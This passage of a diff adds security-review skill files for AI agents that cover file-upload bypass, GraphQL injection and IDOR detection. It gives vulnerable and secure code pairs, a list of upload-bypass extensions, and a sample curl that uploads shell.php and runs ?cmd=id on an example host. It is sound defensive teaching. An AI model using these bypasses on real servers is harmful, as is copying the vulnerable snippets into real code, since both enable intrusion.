> - `file.save(...)` calls on a `FileStorage` object
> - `werkzeug` `FileStorage` handling
>
> 3. **Node.js**:
> - `multer` middleware: `upload.single(...)`, `upload.array(...)`, `upload.fields(...)`
> - `busboy`, `formidable`, `multiparty` form parsing
> - `express-fileupload`: `req.files`
> - `fs.writeFile` / `fs.createWriteStream` / `pipe()` called with a request stream
>
> 4. **PHP**:
> - `$_FILES` access
> - `move_uploaded_file(...)` calls
> - `copy($_FILES[...]['tmp_name'], ...)`
>
> 5. **Java / Spring**:
> - `MultipartFile` parameters in controller methods: `@RequestParam MultipartFile`
> - `CommonsMultipartFile`, `StandardMultipartFile`
> - `Part.write(...)` (Servlet API)
> - `file.transferTo(...)`, `Files.write(path, file.getBytes())`
>
> 6. **Go**:
> - `r.FormFile(...)` or `r.MultipartForm.File`
> - `io.Copy(dst, file)` where `file` comes from a multipart form
> - `os.Create(...)` called with a filename derived from `header.Filename`
>
> 7. **Ruby / Rails**:
> - `params[:file]` with `.read`, `.original_filename`, `.tempfile`
> - `File.open(..., 'wb')` called with uploaded data
> - `has_one_attached` / `has_many_attached` (ActiveStorage)
> - CarrierWave `mount_uploader`, Shrine `include Shrine::Attachment`
>
> 8. **C# / ASP.NET**:
> - `IFormFile` parameters: `file.CopyToAsync(...)`, `file.OpenReadStream()`
> - `HttpPostedFileBase.SaveAs(...)`
> - `Request.Files[...]`
>
> **Output format** — write to `sast/fileupload-recon.md`:
>
> ```markdown
> # File Upload Recon: [Project Name]
>
> ## Summary
> Found [N] file upload sites.
>
> ## Upload Sites
>
> ### 1. [Descriptive name — e.g., "Avatar upload endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Framework / method**: [e.g., Flask request.files / multer / move_uploaded_file]
> - **Storage destination**: [path, variable, or storage abstraction — e.g., "static/uploads/" or "S3 via boto3" or "unknown"]
> - **Validation observed** (preliminary, Phase 2 will analyze in depth): [list any extension checks, content-type checks, or "none visible"]
> - **Code snippet**:
> ```
> [the upload receive and save code]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/fileupload-recon.md`. If the recon found **zero upload sites** (the summary reports "Found 0" or the "Upload Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/fileupload-results.md` and stop:
```markdown
# File Upload Analysis Results
No file upload sites found.
```
Only proceed to Phase 2 if Phase 1 found at least one upload site.
### Phase 2: Check for Extension Bypass Vulnerabilities
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each file upload site in `sast/fileupload-recon.md`, determine whether an attacker can upload a malicious file (e.g., a PHP web shell, a JSP shell, a Python script) by manipulating the filename, extension, or Content-Type header. Write final results to `sast/fileupload-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output.
>
> **For each upload site, evaluate the following bypass vectors**:
>
> 1. **No extension check**: No validation of any kind on the filename or extension. Any file is accepted. Immediately flag as **Vulnerable**.
>
> 2. **Content-Type / MIME header only**: Validation reads `Content-Type` or `mimetype` from the request headers but does not inspect the actual filename extension or file bytes. Attackers can set `Content-Type: image/png` while uploading `shell.php`. Flag as **Vulnerable**.
>
> 3. **Blocklist-based validation**: An explicit list of forbidden extensions. Check whether the blocklist is exhaustive for the server's technology:
> - **PHP servers**: Are `.php3`, `.php4`, `.php5`, `.php7`, `.phtml`, `.phar`, `.shtml` also blocked? If any are missing, flag as **Vulnerable**.
> - **Java servers**: Are `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` also blocked?
> - **ASP.NET servers**: Are `.asp`, `.aspx`, `.ashx`, `.asmx`, `.cer`, `.asa` also blocked?
> - **Node.js**: Is `.js` execution possible via the server config? Check if `.js` files in the upload dir can be required/executed.
> - Any blocklist is inherently weaker than an allowlist — flag as **Likely Vulnerable** even if seemingly complete.
>
> 4. **Case sensitivity bypass**: Blocking `.php` but not `.PHP`, `.Php`, `.pHp`. Check whether the comparison uses `.toLowerCase()` / `.lower()` / `strtolower()` / case-insensitive matching.
>
> 5. **Double extension / multi-extension**: `shell.php.jpg` — if the code extracts the extension using a method that takes the last segment after the last dot, this should be caught by an allowlist. However, on Apache servers with `AddHandler` misconfig, the leftmost recognized extension may be used for execution. Check how the extension is extracted:
> - Safe: `filename.rsplit('.', 1)[-1]`, `path.extname(filename)` (takes the last extension)
> - Risky server config: Apache `AddHandler application/x-httpd-php .php` — even `shell.php.jpg` may be executed as PHP
>
> 6. **Path traversal in filename**: If the original filename is used in the storage path without sanitization, `../../webroot/shell.php` can place files in unintended directories. Check for:
> - Use of `secure_filename()`, `basename()`, `path.basename()`, `Path.GetFileName()`, or `filepath.Base()` — these strip directory separators and are safe
> - Direct use of `file.filename`, `header.Filename`, `file.getOriginalFilename()`, `$_FILES['name']` in a path join without sanitization — flag as **Vulnerable**
>
> 7. **File stored in web-executable directory**: Even with a correct extension allowlist, if uploads go to a directory served by the web server (e.g., `static/uploads/`, `public/uploads/`, `wwwroot/uploads/`) and the web server is configured to execute scripts, a bypass in extension validation becomes critical. Note whether the storage path is web-accessible.
>
> 8. **No content-based validation (magic bytes)**: The server trusts the extension without verifying the actual file content. A file named `shell.jpg` with PHP code inside is still dangerous if the extension check can be bypassed and the server executes it. Note absence of magic-byte checking as a contributing weakness.
>
> **Classification**:
> - **Vulnerable**: No validation at all, or a clearly bypassable check (content-type only, missing common extensions in blocklist, missing `.lower()`, path traversal in filename).
> - **Likely Vulnerable**: Blocklist that appears complete but is inherently weaker than an allowlist; or an allowlist with potential edge cases (e.g., does not account for uppercase extensions).
> - **Not Vulnerable**: Strict allowlist of safe extensions (applied case-insensitively), combined with filename sanitization and/or server-generated UUID rename, files stored outside web root or behind a controlled download endpoint.
> - **Needs Manual Review**: Validation logic is in a shared helper or middleware that could not be fully read; or storage path is dynamic and could not be determined.
>
> **Output format** — write to `sast/fileupload-results.md`:
>
> ```markdown
> # File Upload Analysis Results: [Project Name]
>
> ## Executive Summary
> - Upload sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "No extension validation — any file type accepted" or "Content-Type header used as sole check"]
> - **Bypass vector**: [Exact technique — e.g., "Upload shell.php directly" or "Set Content-Type: image/png while uploading a .php file" or "Use .phtml extension not covered by blocklist"]
> - **Storage path**: [Where the file lands — web-accessible or not]
> - **Impact**: [e.g., "Attacker uploads PHP web shell and achieves RCE by accessing /uploads/shell.php"]
> - **Remediation**: [Specific fix — switch to allowlist, add `.lower()`, use secure_filename, move storage outside web root]
> - **Dynamic Test**:
> ```
> [curl or HTTP request demonstrating the bypass.
> Example: curl -X POST https://app.example.com/upload \
> -F "file=@shell.php;type=image/png" \
> then access: https://app.example.com/static/uploads/shell.php?cmd=id]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Blocklist-based extension check — inherently incomplete"]
> - **Bypass vector**: [Possible bypass — e.g., "Try .phtml, .phar, .php5 if server is Apache/PHP"]
> - **Storage path**: [Where the file lands]
> - **Concern**: [Why it's still a risk]
> - **Remediation**: [Replace blocklist with allowlist]
> - **Dynamic Test**:
> ```
> [payload to attempt bypass]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Strict allowlist of png/jpg/gif with .lower(), UUID rename, stored outside web root"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why validation logic or storage path could not be determined]
> - **Suggestion**: [What to trace manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely discovery**: find every place a user-supplied file is received and stored. Do not deeply analyze validation in Phase 1 — just note what is visible. That is Phase 2's job.
- **Phase 2 is purely bypass analysis**: for each upload site, examine the validation logic and determine whether it can be bypassed through extension manipulation, case variation, content-type spoofing, or path traversal.
- An allowlist is always stronger than a blocklist. Any blocklist-based approach should be flagged as at minimum **Likely Vulnerable** because blocklists are almost always incomplete.
- Content-Type (MIME type from the HTTP header) is **fully attacker-controlled** — never treat it as a security control.
- Case sensitivity matters: `.PHP` bypasses a check for `.php` if `.toLowerCase()` is missing. Always check.
- Path traversal in filenames is a separate attack vector from extension bypass — check for both.
- Even a correct extension check is weakened if the file is stored in a web-executable directory. Note storage location in every finding.
- Magic byte checking (reading actual file bytes) is defense-in-depth but does not replace extension allowlisting — a valid image with PHP code appended can still be dangerous.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
@@ -0,0 +1,308 @@
---
name: sast-graphql
description: >-
Detect GraphQL injection vulnerabilities in a codebase using a two-phase
approach: first confirm GraphQL is in use and find sites where operation
documents are built unsafely (concatenation, interpolation into query
strings), then trace whether user input reaches those sites. Requires
sast/architecture.md (run sast-analysis first). Outputs findings to
sast/graphql-results.md. If no GraphQL technology is found in Phase 1, Phase
2 is skipped. Use when asked to find GraphQL injection, unsafe GraphQL
document construction, or operation string injection bugs.
---
# GraphQL Injection Detection
You are performing a focused security assessment to find GraphQL injection vulnerabilities. This skill uses a two-phase approach with subagents: **recon** (confirm GraphQL usage and find every location where a GraphQL operation document is assembled unsafely) then **taint** (confirm whether user-supplied input reaches those assembly sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is GraphQL Injection
GraphQL injection occurs when user-controlled data is embedded into the **GraphQL document** (the query, mutation, or subscription string) rather than passed only through the **variables** map. The parser then interprets attacker-controlled syntax — new fields, aliases, directives, or fragments — which can bypass intent, reach unauthorized resolvers, or change server-side behavior when that document is executed or forwarded.
The core pattern: *unvalidated user input alters the structure or text of the GraphQL operation string passed to `execute`, `graphql`, a gateway client, or an HTTP body `query` field built from string operations.*
### What GraphQL Injection IS
- Concatenating or interpolating user input into an operation string: `` `query { user(id: "${id}") { name } }` ``, `"query { user(id: \"" + id + "\") { name } }"`
- Building the JSON `query` field for a downstream GraphQL HTTP request with string concat from request body or params
- Forwarding `req.body.query` (or similar) into another interpolated template that wraps or extends the operation
- Dynamic `gql` / `graphql-tag` template literals where a non-static expression changes document structure (not just a bound variable value inside a static document)
- Server-side code that selects or assembles operation text from user input (including "persisted query" ID → document maps without allowlisting)
- Wrappers around `graphql.execute()`, `graphqlHTTP`, Yoga/Apollo request pipeline where the first argument (document/source) is built from variables that could be user-influenced
### What GraphQL Injection is NOT
Do not flag these as GraphQL injection:
- **SQL injection in resolvers**: Resolver code that builds SQL from `args` — that is **SQL injection** (`sast-sqli`), not this skill
- **NoSQL / command injection in resolvers**: Same — use the appropriate SAST skill
- **IDOR via GraphQL arguments**: Passing another user's ID in a **variables** JSON with a **static** document — authorization flaw, not document injection
- **Normal variable binding**: Static document with `{"query": "query($id: ID!) { user(id: $id) { name } }", "variables": {"id": userInput}}` — values are bound as variables; the document structure is fixed (still verify authorization in resolvers)
- **Introspection / field suggestion enabled**: Information disclosure and hardening topic; only flag as GraphQL injection if the finding is specifically about **injecting into the operation string**
- **Query depth / complexity DoS**: Rate limiting and cost analysis — different class
### Patterns That Prevent GraphQL Injection
**1. Static operation documents with variables**
```javascript
const GET_USER = gql`
query GetUser($id: ID!) {
user(id: $id) { name }
}
`;
// execute(schema, GET_USER, null, context, { id: userId });
```
**2. Server uses standard HTTP handler; client sends document; server parses once**
The risk is not the mere presence of `req.body.query` on the server if the server only parses and executes it as the client's operation — injection in *that* path is client-side. Flag **server-side** construction of a **new** document that incorporates user strings before `execute` or before forwarding.
**3. Persisted queries / allowlisted operation IDs**
Document looked up by ID from a server-side registry; client cannot inject arbitrary document text.
**4. graphql-js `Source` with static string; dynamic values only in variableValues**
```javascript
graphql({ schema, source: staticQueryString, variableValues: { id: userId } });
```
---
## Vulnerable vs. Secure Examples
### Node.js — dynamic document for downstream API
```javascript
// VULNERABLE: user input in operation text
app.post('/proxy', async (req, res) => {
const fragment = req.body.fragment;
const query = `query { me { ${fragment} } }`;
const data = await fetch('https://api.internal/graphql', {
method: 'POST',
body: JSON.stringify({ query }),
});
});
// SECURE: static operation, user data only in variables
const PROXY_QUERY = `query ProxyMe { me { id name email } }`;
app.post('/proxy', async (req, res) => {
const data = await fetch('https://api.internal/graphql', {
method: 'POST',
body: JSON.stringify({ query: PROXY_QUERY }),
});
});
```
### Python — string format into execute
```python
# VULNERABLE
def run_custom_query(user_gql: str):
document = f"query {{ user {{ {user_gql} }} }}"
return graphql_sync(schema, document)
# SECURE: validate against allowlist of named operations or use static documents only
ALLOWED = {"id", "name", "email"}
fields = [f for f in requested_fields if f in ALLOWED]
document = "query { user { " + " ".join(ALLOWED.intersection(set(requested_fields))) + " } }"
# Better: fixed FieldNodes, not string building from user input
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: GraphQL Technology Recon and Injection Candidate Sites
Launch a subagent with the following instructions:
> **Goal**: (1) Determine whether this codebase uses GraphQL at all. (2) If it does, find every location where a GraphQL **operation document** (query/mutation/subscription source string) is built using string concatenation, interpolation, formatting, or dynamic assembly such that a variable could change the **document text** (not merely `variables` JSON). Write results to `sast/graphql-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it for stack, API layout, and BFF/gateway patterns.
>
> **Part A — Is GraphQL used?**
>
> Search for:
> - Dependencies: `graphql`, `@apollo/server`, `apollo-server-express`, `@nestjs/graphql`, `graphql-yoga`, `@graphql-yoga/node`, `mercurius`, `strawberry-graphql`, `graphene`, `sangria`, `gqlgen`, `async-graphql`, `juniper`, `graphql-ruby`, Hot Chocolate / `GraphQL.Server`, etc.
> - Schema artifacts: `*.graphql`, `*.graphqls`, codegen config (e.g. GraphQL Code Generator)
> - Server routes or plugins mounting `/graphql` or similar
>
> Set the summary to exactly one of:
> - `GraphQL is used in this codebase.` (list libraries and main entry points)
> - `GraphQL is not used in this codebase.`
>
> **Part B — Injection candidate sites (only if GraphQL is used)**
>
> If GraphQL is **not** used, omit the "Injection Candidate Sites" section or state there are none. Do not invent candidates.
>
> If GraphQL **is** used, search for **unsafe document construction**:
>
> 1. **String concatenation / interpolation into operation text**:
> - `` `query { ... ${x} ...}` ``, `"mutation { " + userFragment + " }"`
> - `sprintf`, `format`, `%` formatting, `.format()` building `query` or `source` arguments
>
> 2. **Calls where the document argument is not a compile-time constant**:
> - `graphql(schema, dynamicString, ...)`, `execute({ schema, document: parsedDynamic, ...})` where the string feeding `parse` or `execute` is built from non-static parts
> - `graphqlHTTP({ schema, rootValue, context: (req) => ({ query: req.body.query + something }) })` patterns that **mutate** or **wrap** the query string with user data
>
> 3. **HTTP clients forwarding a constructed GraphQL body**:
> - `JSON.stringify({ query: `...${userPart}...` })`, `axios.post(url, { query: builtFromInput })`
>
> 4. **Unsafe persisted / stored query lookup**:
> - Operation text loaded by key from user input without allowlist → file path or DB value becomes document source
>
> **What to skip** (do not flag as Phase 1 candidates):
> - Fully static `source` / `query` strings; only `variableValues` / `variables` come from the request
> - Schema definition with `buildSchema` / SDL files with no user interpolation
> - Resolver implementations that only use args with parameterized DB APIs (optional: note "resolver uses ORM" but not a GraphQL injection candidate unless the **document** is built unsafely)
>
> **Output format** — write to `sast/graphql-recon.md`:
>
> ```markdown
> # GraphQL Recon: [Project Name]
>
> ## Summary
> GraphQL is [used / not used] in this codebase.
> [If used: libraries, main server files, typical endpoint paths]
> Found [N] injection candidate site(s) where operation documents may be built unsafely. [If not used, say N/A or 0 and skip candidate list]
>
> ## GraphQL Surface (only if used)
> - **Libraries / frameworks**: ...
> - **Entry points**: ...
> - **Notable files**: ...
>
> ## Injection Candidate Sites
>
> ### 1. [Descriptive name]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: ...
> - **Execution / call pattern**: [graphql.execute / fetch with body / gql template / etc.]
> - **Construction pattern**: [concat / template literal / format / forwarded body mutation]
> - **Interpolated variable(s)**: ...
> - **Code snippet**:
> ```
> ...
> ```
>
> [Repeat for each site; if none, write "No injection candidate sites found." under the heading]
> ```
### After Phase 1: Gates Before Phase 2
After Phase 1 completes, read `sast/graphql-recon.md`.
**Gate 1 — No GraphQL technology**
If the summary states GraphQL is **not used** (or equivalent: no GraphQL libraries, no schema, no server — clear absence), **skip Phase 2 entirely**. Write the following to `sast/graphql-results.md` and stop:
```markdown
# GraphQL Injection Analysis Results
No GraphQL technology detected in this codebase.
```
**Gate 2 — GraphQL used but no injection candidates**
If GraphQL **is** used but there are **zero** injection candidate sites (summary reports 0 candidates, or the "Injection Candidate Sites" section states none found / is empty), **skip Phase 2 entirely**. Write the following to `sast/graphql-results.md` and stop:
```markdown
# GraphQL Injection Analysis Results
No vulnerabilities found.
```
**Otherwise** proceed to Phase 2.
### Phase 2: Trace User Input to Injection Candidate Sites
Launch a second subagent **after Phase 1 completes** and only if both gates passed (GraphQL used and at least one candidate site).
> **Goal**: For each injection candidate site in `sast/graphql-recon.md`, determine whether user-supplied data can reach the dynamic part of the operation document. Write final results to `sast/graphql-results.md`.
>
> **Context**: You will be given `sast/architecture.md` and `sast/graphql-recon.md`.
>
> **For each site, trace dynamic values backward**:
>
> 1. **Direct user input** — query params, path params, JSON body fields (including nested `query` if re-wrapped), headers, cookies
> 2. **Indirect user input** — helpers, middleware, context builders
> 3. **Second-order** — stored preferences or DB fields later used to build a document; trace write path
> 4. **Server-only** — config, env, hardcoded fragments — not exploitable as injection from the client
>
> **Mitigations**:
> - Allowlist of fields or operation IDs before any string assembly
> - Parser validation that rejects unexpected definitions (still prefer no user-controlled document structure)
>
> **Classification**:
> - **Vulnerable**: User-controlled data reaches document construction with no effective mitigation
> - **Likely Vulnerable**: Probable taint or weak sanitization
> - **Not Vulnerable**: Server-side-only or effective allowlist / static document path
> - **Needs Manual Review**: Opaque flow
>
> **Output format** — write to `sast/graphql-results.md`:
>
> ```markdown
> # GraphQL Injection Analysis Results: [Project Name]
>
> ## Executive Summary
> - Candidate sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: ...
> - **Issue**: ...
> - **Taint trace**: ...
> - **Impact**: [e.g., unauthorized fields, gateway bypass, SSRF-style behavior to internal GraphQL]
> - **Remediation**: [static operations; variables only; persisted query allowlist]
> - **Dynamic Test**:
> ```
> [curl or in-browser GraphQL request showing injected fragment/directive/field]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Issue**: ...
> - **Taint trace**: ...
> - **Concern**: ...
> - **Remediation**: ...
> - **Dynamic Test**:
> ```
> ...
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Reason**: ...
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Uncertainty**: ...
> - **Suggestion**: ...
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- **If Phase 1 finds no GraphQL technology, skip Phase 2** — write the "No GraphQL technology detected" results file.
- **If GraphQL is used but Phase 1 finds no injection candidates, skip Phase 2** — write "No vulnerabilities found."
- Phase 1 does **not** trace taint; Phase 2 does.
- Resolver-layer SQL/NoSQL issues belong to other skills; this skill targets **operation document** construction.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable".
@@ -0,0 +1,405 @@
---
name: sast-idor
description: >-
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase
using a two-phase recon-then-verify approach with subagents. Checks endpoints
for missing ownership or authorization checks on user-supplied identifiers.
Requires sast/architecture.md (run sast-analysis first). Outputs findings to
sast/idor-results.md. Use when asked to find IDOR or authorization bypass bugs.
---
# IDOR (Insecure Direct Object Reference) Detection
You are performing a focused security assessment to find IDOR vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find candidate endpoints) then **verify** (check authorization).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is IDOR
IDOR occurs when an application uses a user-supplied identifier (ID, slug, filename, etc.) to directly access an object **without verifying the requesting user is authorized to access that specific object**. The application authenticates the user but fails to check ownership or permissions on the requested resource.
The core pattern: *authenticated user A can access or modify resources belonging to user B by changing an identifier in the request.*
### What IDOR IS
- Changing `/api/orders/1001` to `/api/orders/1002` and seeing another user's order
- Sending `DELETE /api/documents/555` to delete a document you don't own
- Modifying `{"account_id": 789}` in a request body to transfer money from someone else's account
- Changing a file download parameter `?file_id=42` to access another user's private file
- Updating another user's profile via `PUT /api/users/other-user-id`
### What IDOR is NOT
Do not flag these as IDOR:
- **Missing authentication**: Endpoint requires no login at all → that's "Unauthenticated Access", a different class
- **Broken function-level access control**: Regular user accessing `/admin/dashboard` → that's vertical privilege escalation, not IDOR
- **Public resources**: Accessing `/api/posts/123` where posts are intentionally public is not IDOR
- **Parameter tampering on non-object fields**: Changing `role=admin` or `price=0` in a request → that's mass assignment or business logic, not IDOR
- **SQL injection via ID fields**: `?id=1 OR 1=1` → that's SQLi, not IDOR
### Authorization Patterns That Prevent IDOR
When you see these patterns, the endpoint is likely **not vulnerable**:
**1. Query scoped to current user (most common fix)**
```
# The query itself ensures only the user's own records are returned
Order.objects.filter(id=order_id, user=request.user) # Django
current_user.orders.find(params[:id]) # Rails
Order.findOne({ _id: orderId, userId: req.user.id }) # Mongoose
SELECT * FROM orders WHERE id = ? AND user_id = ? # Raw SQL
```
**2. Explicit ownership check after fetch**
```
order = Order.find(order_id)
if order.user_id != current_user.id:
raise Forbidden
```
**3. Policy / ability / authorization middleware**
```
authorize('view', order) # Laravel Policy
can?(:read, @order) # CanCanCan (Rails)
@PreAuthorize("@auth.ownsOrder(#orderId)") # Spring Security
```
**4. Tenant/organization scoping**
```
# Multi-tenant apps that scope all queries to the tenant
tenant = get_current_tenant(request)
Order.objects.filter(id=order_id, tenant=tenant)
```
---
## Vulnerable vs. Secure Examples
### Python — Django
```python
# VULNERABLE: fetches any order by ID, no ownership check
def get_order(request, order_id):
order = Order.objects.get(id=order_id)
return JsonResponse(model_to_dict(order))
# SECURE: query scoped to requesting user
def get_order(request, order_id):
order = get_object_or_404(Order, id=order_id, user=request.user)
return JsonResponse(model_to_dict(order))
```
### Python — Flask / SQLAlchemy
```python
# VULNERABLE
@app.route('/api/documents/<int:doc_id>')
@login_required
def get_document(doc_id):
doc = Document.query.get_or_404(doc_id)
return jsonify(doc.serialize())
# SECURE
@app.route('/api/documents/<int:doc_id>')
@login_required
def get_document(doc_id):
doc = Document.query.filter_by(id=doc_id, owner_id=current_user.id).first_or_404()
return jsonify(doc.serialize())
```
### Node.js — Express / Mongoose
```javascript
// VULNERABLE
router.get('/api/orders/:id', auth, async (req, res) => {
const order = await Order.findById(req.params.id);
res.json(order);
});
// SECURE
router.get('/api/orders/:id', auth, async (req, res) => {
const order = await Order.findOne({ _id: req.params.id, userId: req.user.id });
if (!order) return res.status(404).json({ error: 'Not found' });
res.json(order);
});
```
### Node.js — Express / Prisma
```javascript
// VULNERABLE
router.get('/api/invoices/:id', auth, async (req, res) => {
const invoice = await prisma.invoice.findUnique({ where: { id: req.params.id } });
res.json(invoice);
});
// SECURE
router.get('/api/invoices/:id', auth, async (req, res) => {
const invoice = await prisma.invoice.findFirst({
where: { id: req.params.id, userId: req.user.id }
});
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
```
### Ruby on Rails
```ruby
# VULNERABLE
def show
@order = Order.find(params[:id])
end
# SECURE
def show
@order = current_user.orders.find(params[:id])
end
```
### Java — Spring Boot
```java
// VULNERABLE
@GetMapping("/api/accounts/{id}")
public Account getAccount(@PathVariable Long id) {
return accountRepo.findById(id).orElseThrow();
}
// SECURE
@GetMapping("/api/accounts/{id}")
public Account getAccount(@PathVariable Long id, Authentication auth) {
Account acct = accountRepo.findById(id).orElseThrow();
if (!acct.getOwnerId().equals(auth.getName()))
throw new AccessDeniedException("Forbidden");
return acct;
}
```
### Go
```go
// VULNERABLE
func GetOrder(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
order, _ := db.GetOrder(id)
json.NewEncoder(w).Encode(order)
}
// SECURE
func GetOrder(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
userID := r.Context().Value("userID").(string)
order, _ := db.GetOrderByUser(id, userID)
json.NewEncoder(w).Encode(order)
}
```
### PHP — Laravel
```php
// VULNERABLE
public function show($id) {
return Invoice::findOrFail($id);
}
// SECURE (scoped query)
public function show($id) {
return auth()->user()->invoices()->findOrFail($id);
}
// SECURE (policy)
public function show($id) {
$invoice = Invoice::findOrFail($id);
$this->authorize('view', $invoice);
return $invoice;
}
```
### C# — ASP.NET Core
```csharp
// VULNERABLE
[HttpGet("api/profiles/{id}")]
public async Task<IActionResult> GetProfile(int id) {
var profile = await _db.Profiles.FindAsync(id);
return Ok(profile);
}
// SECURE
[HttpGet("api/profiles/{id}")]
public async Task<IActionResult> GetProfile(int id) {
var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var profile = await _db.Profiles.FirstOrDefaultAsync(p => p.Id == id && p.UserId == userId);
if (profile == null) return NotFound();
return Ok(profile);
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Recon — Find Candidate Endpoints
Launch a subagent with the following instructions:
> **Goal**: Find every endpoint, controller action, or handler that retrieves, modifies, or deletes a specific object using a user-supplied identifier. Write results to `sast/idor-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, frameworks, route definitions, and data access patterns.
>
> **What to search for**:
>
> 1. **Route definitions** that contain ID parameters:
> - Path parameters: `:id`, `{id}`, `<int:id>`, `[id]`
> - Search patterns: route/path/endpoint definitions with parameter placeholders
>
> 2. **Controller/handler methods** that accept ID arguments and use them to fetch or mutate objects:
> - ORM lookups: `find(id)`, `findById()`, `get(id=)`, `objects.get()`, `findOne()`, `findUnique()`, `findFirst()`, `query.get()`, `where(id:)`
> - Raw queries: `SELECT ... WHERE id = ?`, etc.
> - Also look for delete, update operations with user-supplied IDs
>
> 3. **Request body or query parameter IDs** used in operations:
> - `req.body.userId`, `req.query.id`, `request.data['account_id']`, etc.
>
> 4. **GraphQL resolvers and mutations** that accept ID arguments
>
> 5. **File/resource access by user-supplied path or filename**
>
> **What to ignore**:
> - Endpoints that are intentionally public (no auth required by design)
> - Admin-only endpoints behind role-based checks (these are a different class)
> - Endpoints where the only ID used is the authenticated user's own ID (e.g., `GET /api/me/profile`)
> - Static asset serving
>
> **Output format** — write to `sast/idor-recon.md`:
>
> ```markdown
> # IDOR Recon: [Project Name]
>
> ## Summary
> Found [N] candidate endpoints that use user-supplied identifiers to access objects.
>
> ## Candidates
>
> ### 1. [Descriptive name]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Identifier source**: [path param / query param / body field]
> - **Operation**: [read / update / delete]
> - **Object accessed**: [model/table name]
> - **Code snippet**:
> ```
> [relevant code]
> ```
>
> [Repeat for each candidate]
> ```
### Phase 2: Verify — Check Authorization
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each candidate in `sast/idor-recon.md`, determine whether adequate authorization checks exist. Write final results to `sast/idor-results.md`.
>
> **Context**: You will be given the project's architecture summary and the recon results. Use the architecture summary to understand the auth mechanism, middleware stack, and ORM patterns.
>
> **For each candidate endpoint, check**:
>
> 1. **Is the database query scoped to the authenticated user?**
> - Does the query include a `user_id` / `owner_id` / `tenant_id` filter matching the current user?
> - Is the query done through an association (e.g., `current_user.orders.find(id)`)?
>
> 2. **Is there an explicit ownership/permission check after fetching?**
> - Does the code compare `resource.user_id == current_user.id` (or equivalent)?
> - Is there a policy/ability/authorization check?
>
> 3. **Is there authorization middleware applied to this route?**
> - Is there middleware that verifies object ownership before the handler runs?
> - Trace the middleware chain — don't assume a middleware name implies it checks ownership
>
> 4. **For mutations (update/delete), are the same checks present?**
> - Sometimes read endpoints are protected but write endpoints are not
>
> 5. **Edge cases to check**:
> - Does the auth check exist but only run conditionally (e.g., skipped for certain content types)?
> - Is the check present in one branch of an if/else but missing in another?
> - Can the check be bypassed by sending the ID in an alternative field?
> - Are bulk/batch endpoints checked per-item or just at the batch level?
>
> **Classification**:
> - **Vulnerable**: No authorization check found for the specific object. User A can access User B's resources.
> - **Likely Vulnerable**: Auth check exists but appears incomplete, bypassable, or conditional.
> - **Not Vulnerable**: Proper authorization check is in place.
> - **Needs Manual Review**: Cannot determine with confidence (e.g., complex middleware chain, authorization happens in a service layer that's hard to trace).
>
> **Output format** — write to `sast/idor-results.md`:
>
> ```markdown
> # IDOR Analysis Results: [Project Name]
>
> ## Executive Summary
> - Candidates analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Issue**: [Clear description of what's missing]
